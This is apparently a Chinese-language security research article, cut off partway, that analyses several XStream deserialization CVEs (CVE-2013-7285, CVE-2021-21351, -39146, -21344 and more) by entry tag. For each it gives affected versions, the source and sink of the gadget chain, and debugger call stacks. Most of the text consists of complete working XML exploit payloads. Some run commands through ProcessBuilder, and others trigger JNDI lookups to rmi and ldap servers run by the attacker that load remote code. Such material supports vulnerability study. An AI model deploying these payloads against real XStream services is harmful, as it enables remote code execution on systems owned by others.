前言
XStream 是一个将 java bean 对象与 xml 互相转换的依赖包,有点类似 fastjson 的 json 对象互转。
对于原生的 Java 反序列化来说,可以利用的 Java 类是任意实现了Serializable的类,入口是ObjectInputStream的readObject方法。对于XStream来说,可以利用的Java是任意类,入口是XStream的fromXML方法。
Xstream 会把 CVE 的 payload公布出来: https://x-stream.github.io/security.html ,可以看到 1.4.17 之后漏洞变少很多,因为由黑名单转向白名单了。
sorted-set
CVE-2013-7285
影响范围
XStream ==  1.4.5 /1.4.6 / 1.4.10
版本说明
<= 1.3.1 版本不解析 sorted-set 标签,无法利用。
< 1.4.4 的版本会判断 treeMap 是否为空,为空不进 populateTreeMap,链子断掉。

1.4.7 - 1.4.9 、1.4.11 都是对  EventHandler 这个类进行黑名单过滤。

漏洞分析
漏洞本质:<dynamic-proxy> 这个标签在转换成对象时,会把<handler>指定的类作为 handler, 并封装一个对应的动态代理对象。当 <interface> 指定的类的方法被执行时,触发 handler 的 invoke,通过配置<target> 指定触发的类和 <command> 指定参数实现 RCE。
title:"poc.xml"| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | <sorted-set>
 <dynamic-proxy>
 <interface>java.lang.Comparable</interface>
 <handler class="java.beans.EventHandler">
 <target class="java.lang.ProcessBuilder">
 <command>
 <string>calc</string>
 </command>
 </target>
 <action>start</action>
 </handler>
 </dynamic-proxy>
 </sorted-set>
 
 | 
 
函数调用栈
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | invoke:275, MethodUtil (sun.reflect.misc)invokeInternal:482, EventHandler (java.beans)
 access$000:279, EventHandler (java.beans)
 run:430, EventHandler$1 (java.beans)
 doPrivileged:-1, AccessController (java.security)
 invoke:428, EventHandler (java.beans)
 compareTo:-1, $Proxy0 (com.sun.proxy)
 compare:1290, TreeMap (java.util)
 put:538, TreeMap (java.util)
 putAll:281, AbstractMap (java.util)
 putAll:327, TreeMap (java.util)
 populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
 unmarshal:94, TreeSetConverter (com.thoughtworks.xstream.converters.collections)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1156, XStream (com.thoughtworks.xstream)
 unmarshal:1140, XStream (com.thoughtworks.xstream)
 fromXML:1020, XStream (com.thoughtworks.xstream)
 main:20, Exp (CVE_2013_7285)
 
 | 
source点: k1.compareTo(k2) 触发反序列化,原因是代理对象k1调用了 java.lang.Comparable#compareTo 方法,触发了 <dynamic-proxy> , 然后进入 EventHandler#invoke 的逻辑实现 RCE。

下图位置打个条件断点,一目了然。

CVE-2021-21351
影响范围
XStream <= 1.4.15
JDK < 8u121(使用 RMI 进行 JNDI )
JDK < 8u191(使用 LADP 进行 JNDI )
版本说明
无
漏洞分析
漏洞本质:source 点javax.naming.ldap.Rdn.RdnEntry#compareTo,和上面一样通过 <sorted-set> 触发,sink 点就是 com.sun.rowset.JdbcRowSetImpl#connect,即 JdbcRowSetImpl 链 触发 JNDI。
title:"poc.xml"| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 
 | <sorted-set><javax.naming.ldap.Rdn_-RdnEntry>
 <type>ysomap</type>
 <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
 <m__DTMXRTreeFrag>
 <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
 <m__size>-10086</m__size>
 <m__mgrDefault>
 <__useServicesMechanism>false</__useServicesMechanism>
 <m__incremental>false</m__incremental>
 <m__source__location>false</m__source__location>
 <m__dtms>
 <null/>
 </m__dtms>
 <m__defaultHandler/>
 </m__mgrDefault>
 <m__shouldStripWS>false</m__shouldStripWS>
 <m__indexing>false</m__indexing>
 <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
 <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
 <javax.sql.rowset.BaseRowSet>
 <default>
 <concurrency>1008</concurrency>
 <escapeProcessing>true</escapeProcessing>
 <fetchDir>1000</fetchDir>
 <fetchSize>0</fetchSize>
 <isolation>2</isolation>
 <maxFieldSize>0</maxFieldSize>
 <maxRows>0</maxRows>
 <queryTimeout>0</queryTimeout>
 <readOnly>true</readOnly>
 <rowSetType>1004</rowSetType>
 <showDeleted>false</showDeleted>
 <dataSource>rmi://127.0.0.1:1099/Basic/Command/calc</dataSource>
 <listeners/>
 <params/>
 </default>
 </javax.sql.rowset.BaseRowSet>
 <com.sun.rowset.JdbcRowSetImpl>
 <default/>
 </com.sun.rowset.JdbcRowSetImpl>
 </fPullParserConfig>
 <fConfigSetInput>
 <class>com.sun.rowset.JdbcRowSetImpl</class>
 <name>setAutoCommit</name>
 <parameter-types>
 <class>boolean</class>
 </parameter-types>
 </fConfigSetInput>
 <fConfigParse reference='../fConfigSetInput'/>
 <fParseInProgress>false</fParseInProgress>
 </m__incrementalSAXSource>
 <m__walker>
 <nextIsRaw>false</nextIsRaw>
 </m__walker>
 <m__endDocumentOccured>false</m__endDocumentOccured>
 <m__idAttributes/>
 <m__textPendingStart>-1</m__textPendingStart>
 <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
 <m__pastFirstElement>false</m__pastFirstElement>
 </m__dtm>
 <m__dtmIdentity>1</m__dtmIdentity>
 </m__DTMXRTreeFrag>
 <m__dtmRoot>1</m__dtmRoot>
 <m__allowRelease>false</m__allowRelease>
 </value>
 </javax.naming.ldap.Rdn_-RdnEntry>
 <javax.naming.ldap.Rdn_-RdnEntry>
 <type>ysomap</type>
 <value class='com.sun.org.apache.xpath.internal.objects.XString'>
 <m__obj class='string'>test</m__obj>
 </value>
 </javax.naming.ldap.Rdn_-RdnEntry>
 </sorted-set>
 
 | 
 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | connect:615, JdbcRowSetImpl (com.sun.rowset)setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:497, Method (java.lang.reflect)
 parseSome:373, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
 deliverMoreNodes:312, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
 nextNode:814, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
 _firstch:535, DTMDefaultBase (com.sun.org.apache.xml.internal.dtm.ref)
 getStringValue:1294, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
 str:207, XRTreeFrag (com.sun.org.apache.xpath.internal.objects)
 toString:314, XObject (com.sun.org.apache.xpath.internal.objects)
 equals:392, XString (com.sun.org.apache.xpath.internal.objects)
 compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
 compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
 put:568, TreeMap (java.util)
 putAll:281, AbstractMap (java.util)
 putAll:327, TreeMap (java.util)
 populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
 unmarshal:94, TreeSetConverter (com.thoughtworks.xstream.converters.collections)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1157, XStream (com.thoughtworks.xstream)
 unmarshal:1141, XStream (com.thoughtworks.xstream)
 fromXML:1021, XStream (com.thoughtworks.xstream)
 main:19, Vul (POC.sortedSet)
 
 | 

CVE-2021-39146
影响范围
XStream <= 1.4.17
JDK < 8u121(使用 RMI 进行 JNDI )
JDK < 8u191(使用 LADP 进行 JNDI )
版本说明
无
漏洞分析
漏洞本质:还是 JNDI。source 点javax.naming.ldap.Rdn.RdnEntry#compareTo,通过 <sorted-set> 触发;sink 点是java.security.PrivilegedAction#run里有反射调用,设置成 doLookup 实现 JNDI。

title:"poc.xml"| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 
 | <sorted-set><javax.naming.ldap.Rdn_-RdnEntry>
 <type>test</type>
 <value class='javax.swing.MultiUIDefaults' serialization='custom'>
 <unserializable-parents/>
 <hashtable>
 <default>
 <loadFactor>0.75</loadFactor>
 <threshold>525</threshold>
 </default>
 <int>700</int>
 <int>0</int>
 </hashtable>
 <javax.swing.UIDefaults>
 <default>
 <defaultLocale>zh_CN</defaultLocale>
 <resourceCache/>
 </default>
 </javax.swing.UIDefaults>
 <javax.swing.MultiUIDefaults>
 <default>
 <tables>
 <javax.swing.UIDefaults serialization='custom'>
 <unserializable-parents/>
 <hashtable>
 <default>
 <loadFactor>0.75</loadFactor>
 <threshold>525</threshold>
 </default>
 <int>700</int>
 <int>1</int>
 <string>lazyValue</string>
 <javax.swing.UIDefaults_-ProxyLazyValue>
 <className>javax.naming.InitialContext</className>
 <methodName>doLookup</methodName>
 <args>
 <string>ldap://127.0.0.1:1389/Basic/Command/calc</string>
 </args>
 </javax.swing.UIDefaults_-ProxyLazyValue>
 </hashtable>
 <javax.swing.UIDefaults>
 <default>
 <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
 <resourceCache/>
 </default>
 </javax.swing.UIDefaults>
 </javax.swing.UIDefaults>
 </tables>
 </default>
 </javax.swing.MultiUIDefaults>
 </value>
 </javax.naming.ldap.Rdn_-RdnEntry>
 <javax.naming.ldap.Rdn_-RdnEntry>
 <type>test</type>
 <value class='com.sun.org.apache.xpath.internal.objects.XString'>
 <m__obj class='string'>test</m__obj>
 </value>
 </javax.naming.ldap.Rdn_-RdnEntry>
 </sorted-set>
 
 | 
 
函数调用栈
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 
 | start:1007, ProcessBuilder (java.lang)exec:620, Runtime (java.lang)
 exec:485, Runtime (java.lang)
 <init>:-1, Exploit_etYbcClocgwl
 newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
 newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
 newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
 newInstance:422, Constructor (java.lang.reflect)
 newInstance:442, Class (java.lang)
 getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
 getObjectInstance:189, DirectoryManager (javax.naming.spi)
 c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
 p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
 lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
 lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
 lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
 lookup:417, InitialContext (javax.naming)
 doLookup:290, InitialContext (javax.naming)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [2]
 invoke:497, Method (java.lang.reflect)
 invoke:71, Trampoline (sun.reflect.misc)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect) [1]
 invoke:497, Method (java.lang.reflect)
 invoke:275, MethodUtil (sun.reflect.misc)
 run:1107, UIDefaults$ProxyLazyValue$1 (javax.swing)
 doPrivileged:-1, AccessController (java.security)
 createValue:1086, UIDefaults$ProxyLazyValue (javax.swing)
 getFromHashtable:216, UIDefaults (javax.swing)
 get:161, UIDefaults (javax.swing)
 get:64, MultiUIDefaults (javax.swing)
 toString:197, MultiUIDefaults (javax.swing)
 equals:392, XString (com.sun.org.apache.xpath.internal.objects)
 compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
 compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
 put:568, TreeMap (java.util)
 putAll:281, AbstractMap (java.util)
 putAll:327, TreeMap (java.util)
 populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
 unmarshal:94, TreeSetConverter (com.thoughtworks.xstream.converters.collections)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1157, XStream (com.thoughtworks.xstream)
 unmarshal:1141, XStream (com.thoughtworks.xstream)
 fromXML:1021, XStream (com.thoughtworks.xstream)
 main:20, Vul (POC.sortedSet)
 
 | 
tree-map
影响范围
XStream == (1.4.0, 1.4.6]  / 1.4.10
版本说明
- 1.3.x 会直接报错,没有 compartor 属性
- 1.4.7 - 1.4.9 、1.4.11 都是对  EventHandler 这个handler类进行黑名单过滤。
漏洞分析
这个同样是根标签解析到 TreeMap 这个 Converter,然后触发 compareTo,链子没变,但是覆盖版本更广了,POC如下
title:"poc.xml"| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | <tree-map>
 <entry>
 <dynamic-proxy>
 <interface>java.lang.Comparable</interface>
 <handler class="java.beans.EventHandler">
 <target class="java.lang.ProcessBuilder">
 <command>
 <string>calc</string>
 </command>
 </target>
 <action>start</action>
 </handler>
 </dynamic-proxy>
 <string>good</string>
 </entry>
 </tree-map>
 
 | 
 
函数调用栈
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | invoke:275, MethodUtil (sun.reflect.misc)invokeInternal:482, EventHandler (java.beans)
 access$000:279, EventHandler (java.beans)
 run:430, EventHandler$1 (java.beans)
 doPrivileged:-1, AccessController (java.security)
 invoke:428, EventHandler (java.beans)
 compareTo:-1, $Proxy0 (com.sun.proxy)
 compare:1290, TreeMap (java.util)
 put:538, TreeMap (java.util)
 putAll:281, AbstractMap (java.util)
 putAll:327, TreeMap (java.util)
 populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
 unmarshal:79, TreeMapConverter (com.thoughtworks.xstream.converters.collections)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:65, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1156, XStream (com.thoughtworks.xstream)
 unmarshal:1140, XStream (com.thoughtworks.xstream)
 fromXML:1020, XStream (com.thoughtworks.xstream)
 main:18, Vul (POC.treeMap)
 
 | 
map
影响范围
XStream <= 1.4.13
版本说明
- 1.3.x 会直接报错
- 1.4.14 以后存在 对 ProcessBuilder的黑名单,在com.thoughtworks.xstream.XStream#setupSecurity里
  
漏洞分析
漏洞本质:利用 MapConverter#putCurrentEntryIntoMap 函数为入口,一直调用到ImageIO$ContainsFilter#filter 
title:"poc.xml"| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 
 | <map><entry>
 <jdk.nashorn.internal.objects.NativeString>
 <flags>0</flags>
 <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
 <dataHandler>
 <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
 <contentType>text/plain</contentType>
 <is class='java.io.SequenceInputStream'>
 <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
 <iterator class='javax.imageio.spi.FilterIterator'>
 <iter class='java.util.ArrayList$Itr'>
 <cursor>0</cursor>
 <lastRet>-1</lastRet>
 <expectedModCount>1</expectedModCount>
 <outer-class>
 <java.lang.ProcessBuilder>
 <command>
 <string>calc</string>
 
 
 </command>
 </java.lang.ProcessBuilder>
 </outer-class>
 </iter>
 <filter class='javax.imageio.ImageIO$ContainsFilter'>
 <method>
 <class>java.lang.ProcessBuilder</class>
 <name>start</name>
 <parameter-types/>
 </method>
 <name>start</name>
 </filter>
 <next/>
 </iterator>
 <type>KEYS</type>
 </e>
 <in class='java.io.ByteArrayInputStream'>
 <buf></buf>
 <pos>0</pos>
 <mark>0</mark>
 <count>0</count>
 </in>
 </is>
 <consumed>false</consumed>
 </dataSource>
 <transferFlavors/>
 </dataHandler>
 <dataLen>0</dataLen>
 </value>
 </jdk.nashorn.internal.objects.NativeString>
 <string>test</string>
 </entry>
 </map>
 
 
 | 
 
一个 entry 大概是这样的形式,第一个是key,第二个是value。 poc 把 payload 放在 key 那里了。
title:"Demo"| 12
 3
 4
 5
 6
 
 | <map><entry>
 <string>key</string>
 <string>value</string>
 </entry>
 </map>
 
 | 
 
source点:MapConverter#putCurrentEntryIntoMap函数,内部调用了 target.put(key, value),target是最根部的map标签(HashMap类型),key是payload(NativeString类型),value是test字符串。

然后 HashMap#put(key, value) 最终是可以调到 key#hashCode 的,也就进入了 NativeString#hashCode,也就是 xml 的第二个标签,后续每个调用都有标签的对应,无非是把反射赋值改为xml属性赋值。
sink点:ImageIO$ContainsFilter#filter 可以实现反射调用函数,参数可控。

函数调用栈
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 
 | start:1007, ProcessBuilder (java.lang)invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:497, Method (java.lang.reflect)
 filter:613, ImageIO$ContainsFilter (javax.imageio)
 advance:821, FilterIterator (javax.imageio.spi)
 next:839, FilterIterator (javax.imageio.spi)
 nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
 nextStream:110, SequenceInputStream (java.io)
 read:211, SequenceInputStream (java.io)
 readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
 get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
 toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
 getStringValue:122, NativeString (jdk.nashorn.internal.objects)
 hashCode:118, NativeString (jdk.nashorn.internal.objects)
 hash:338, HashMap (java.util)
 put:611, HashMap (java.util)
 putCurrentEntryIntoMap:107, MapConverter (com.thoughtworks.xstream.converters.collections)
 populateMap:98, MapConverter (com.thoughtworks.xstream.converters.collections)
 populateMap:92, MapConverter (com.thoughtworks.xstream.converters.collections)
 unmarshal:87, MapConverter (com.thoughtworks.xstream.converters.collections)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1404, XStream (com.thoughtworks.xstream)
 unmarshal:1383, XStream (com.thoughtworks.xstream)
 fromXML:1277, XStream (com.thoughtworks.xstream)
 main:18, Vul (POC.map)
 
 | 
java.util.PriorityQueue
CVE-2021-21344
影响范围
XStream <= 1.4.15
版本说明
漏洞分析
漏洞本质:在xml转java对象时,SerializableConverter#doUnmarshal 会调用标签所对应的类的readObject方法,例如test/DemoForUsage 里能够调用 Person 类的readObject。这几乎是万能source了,只要有其他组件就能利用。CVE-2021-21344 以java.util.PriorityQueue为入口,找到一条触发  JdbcRowSetImpl#connect的链子,进行 JNDI 注入。
PS:除了默认的序列化方法,在SerializableConverter#doMarshal中支持重写方法writeObject的调用,所以当类实现了Serializable并且重写了writeObject,则会调用重写的writeObject。
一般在重写的writeObject方法中还是会调用SerializableConverter.defaultWriteObject方法来进行属性的序列化。 
下面是poc,需要起一个恶意本地 LDAP 服务器,接收 lookup。
title:"poc.xml"| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 
 | <java.util.PriorityQueue serialization='custom'>
 <unserializable-parents/>
 <java.util.PriorityQueue>
 <default>
 <size>2</size>
 <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
 <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
 <packet>
 <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
 <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
 <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
 <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
 <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
 <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
 <uriProperties/>
 <attributeProperties/>
 <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
 <getter>
 <class>com.sun.rowset.JdbcRowSetImpl</class>
 <name>getDatabaseMetaData</name>
 <parameter-types/>
 </getter>
 </inheritedAttWildcard>
 </bi>
 <tagName/>
 <context>
 <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
 <outer-class reference='../..'/>
 </marshallerPool>
 <nameList>
 <nsUriCannotBeDefaulted>
 <boolean>true</boolean>
 </nsUriCannotBeDefaulted>
 <namespaceURIs>
 <string>1</string>
 </namespaceURIs>
 <localNames>
 <string>UTF-8</string>
 </localNames>
 </nameList>
 </context>
 </bridge>
 </bridge>
 <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
 <javax.sql.rowset.BaseRowSet>
 <default>
 <concurrency>1008</concurrency>
 <escapeProcessing>true</escapeProcessing>
 <fetchDir>1000</fetchDir>
 <fetchSize>0</fetchSize>
 <isolation>2</isolation>
 <maxFieldSize>0</maxFieldSize>
 <maxRows>0</maxRows>
 <queryTimeout>0</queryTimeout>
 <readOnly>true</readOnly>
 <rowSetType>1004</rowSetType>
 <showDeleted>false</showDeleted>
 <dataSource>ldap://127.0.0.1:1389/Basic/Command/calc</dataSource>
 <params/>
 </default>
 </javax.sql.rowset.BaseRowSet>
 <com.sun.rowset.JdbcRowSetImpl>
 <default>
 <iMatchColumns>
 <int>-1</int>
 <int>-1</int>
 <int>-1</int>
 <int>-1</int>
 <int>-1</int>
 <int>-1</int>
 <int>-1</int>
 <int>-1</int>
 <int>-1</int>
 <int>-1</int>
 </iMatchColumns>
 <strMatchColumns>
 <string>foo</string>
 <null/>
 <null/>
 <null/>
 <null/>
 <null/>
 <null/>
 <null/>
 <null/>
 <null/>
 </strMatchColumns>
 </default>
 </com.sun.rowset.JdbcRowSetImpl>
 </jaxbObject>
 </dataSource>
 </message>
 <satellites/>
 <invocationProperties/>
 </packet>
 </indexMap>
 </comparator>
 </default>
 <int>3</int>
 <string>javax.xml.ws.binding.attachments.inbound</string>
 <string>javax.xml.ws.binding.attachments.inbound</string>
 </java.util.PriorityQueue>
 </java.util.PriorityQueue>
 
 | 
 
SerializableConverter 触发 PriorityQueue 的反序列化,一直到 PriorityQueue#siftDownUsingComparator 都和 CC4 一样,只不过本链后面走的是 DataTransferer$IndexedComparator#compare,CC4 走的是 TransformingComparator#compare。
函数调用栈
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 
 | connect:615, JdbcRowSetImpl (com.sun.rowset)getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:497, Method (java.lang.reflect)
 get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
 serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
 childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
 write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
 marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
 marshal:130, Bridge (com.sun.xml.internal.bind.api)
 marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
 writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
 asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
 getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
 getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
 getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
 getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
 get:111, ResponseContext (com.sun.xml.internal.ws.client)
 compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
 compare:2970, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
 siftDownUsingComparator:721, PriorityQueue (java.util)
 siftDown:687, PriorityQueue (java.util)
 heapify:736, PriorityQueue (java.util)
 readObject:795, PriorityQueue (java.util)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:497, Method (java.lang.reflect)
 callReadObject:132, SerializationMembers (com.thoughtworks.xstream.core.util)
 doUnmarshal:443, SerializableConverter (com.thoughtworks.xstream.converters.reflection)
 unmarshal:277, AbstractReflectionConverter (com.thoughtworks.xstream.converters.reflection)
 convert:72, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convert:72, AbstractReferenceUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:66, TreeUnmarshaller (com.thoughtworks.xstream.core)
 convertAnother:50, TreeUnmarshaller (com.thoughtworks.xstream.core)
 start:134, TreeUnmarshaller (com.thoughtworks.xstream.core)
 unmarshal:32, AbstractTreeMarshallingStrategy (com.thoughtworks.xstream.core)
 unmarshal:1404, XStream (com.thoughtworks.xstream)
 unmarshal:1383, XStream (com.thoughtworks.xstream)
 fromXML:1277, XStream (com.thoughtworks.xstream)
 main:18, Vul (POC.priorityQueue)
 
 | 
CVE-2021-21345
影响范围
XStream <= 1.4.15
版本说明
- 1.3.x 会直接报错
- 1.4.15 以后添加了黑名单,和CVE-2021-21344一样
漏洞分析
漏洞本质:source 还是PriorityQueue#readObject,只不过 sink 不用   JdbcRowSetImpl#connect 打 JNDI,改用ServerTableEntry#verify  打命令执行。

title:"poc.xml"| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
